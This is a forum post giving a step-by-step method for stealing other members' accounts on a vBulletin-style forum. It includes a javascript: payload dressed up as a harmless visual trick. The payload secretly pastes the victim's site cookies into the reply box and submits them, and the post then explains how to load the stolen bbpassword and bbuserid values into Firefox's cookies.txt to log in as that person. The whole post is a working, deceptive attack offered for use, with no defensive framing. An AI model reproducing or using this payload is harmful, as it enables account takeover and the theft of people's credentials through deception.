This sequence of things will allow you to hack a users account, with a little practice I was able to do it in about half a minute.
Step one: Make a thread like
this one, it looks innocent (the code in that is), but use this code instead (WARNING: VISITING THIS WILL COMPROMISE YOUR ACCOUNT SECURITY).
PHP Code:
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("table"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}document.getElementById('vB_Editor_QR_textarea').value=document.cookie;document.getElementById('qr_submit').click();setInterval('A()',50); void(0);
This code will print out all their cookies from this site.
Step 2: You wait till some sucker runs the javascript, check often. When it gets posted, copy the text on notepad (not wordpad to remove all formatting) and close firefox
Step 3: If you use firefox, go to [Drive Letter]:\Documents and Settings\[User Name]\Application Data\Mozilla\Firefox\Profiles\[profile name]
Step 4: Edit the following values in cookies.txt with the ones on the notepad window (from the forum site, of course)
bbpassword
bbuserid
Save and close window, re-open firefox and you will be logged into their account.
I am working on a video for this, I will post it if I get it.
